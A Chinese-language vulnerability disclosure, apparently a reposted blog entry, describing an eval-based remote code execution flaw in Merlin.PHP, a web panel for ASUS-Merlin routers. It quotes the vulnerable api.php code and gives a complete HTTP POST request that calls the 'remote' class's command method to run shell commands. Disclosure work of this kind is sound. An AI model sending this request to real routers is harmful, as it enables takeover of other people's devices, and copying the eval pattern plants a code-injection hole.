面向 ASUS﹣MERLIN 的 SS Web 管理面板。只支持 http://koolshare.io 下的固件版本。
github链接:https://github.com/qoli/Merlin.PHP
在api.php中使用了eval函数,其他几个参数可控制导致任意代码执行。
代码如下:
<?phpset_include_path(get_include_path() . PATH_SEPARATOR . ‘library/phpseclib‘);require_once ‘library/MainFunction.php‘;require_once ‘Net/SSH2.php‘;require_once ‘library/Requests.php‘;require_once ‘library/AppFunction.php‘;Requests::register_autoloader();$merlin_php = new merlin_php();if (!isset($_POST)) { ???$merlin_php -> _export("no input"); ???exit;}$o = _GET("class",‘unknow‘);$f = _GET(‘function‘,‘unknow‘);if ($o == ‘unknow‘) { ???$merlin_php -> _export("no input"); ???exit;}if ($f == ‘unknow‘) { ???$merlin_php -> _export("function?!"); ???exit;}if (!class_exists($o)) { ???$merlin_php -> _export("class is none"); ???exit;}$c = new $o();$agrs = implode(‘,‘,$_POST);// echo ‘$c->‘."$f($agrs);";eval(‘$j = $c->‘."$f($agrs);");echo json_encode($j);
最后能控制的是 eval(‘$j = $c->‘."$f($agrs);");
$j=是一个变量赋值不用管,主要是后面的 $c->$f($agrs); 这里面的三个参数都可控。
$c是基于$o创建的;
$o是获取的参数class值 ;
下面是关键代码:
$c = new $o();$o = _GET("class",‘unknow‘);$f = _GET(‘function‘,‘unknow‘);$agrs = implode(‘,‘,$_POST);
可以看出$o是一个对象,$c是$o对象的实例化,$f是对象的成员方法,$agrs是post传入的参数,也就是成员方法的参数。
随便找了一个类,AppFunction.php 中的 ?remote 类,看了下里面有个执行命令的方法 command;
public function command($command = ‘whoami‘){ ???????return $this->ssh->exec($command);}
构造下面请求:
POST /6/api.php?function=command&class=remote HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Type: application/x-www-form-urlencodedcc=‘ls‘
跟踪执行流程,实际是执行了下面的代码,导致任意代码执行漏洞。
$c = new remote;$j = $c->command(‘ls‘);
github issue:https://github.com/qoli/Merlin.PHP/issues/27
华硕路由器 Merlin.php 代码执行漏洞
原文地址:http://blog.51cto.com/010bjsoft/2298902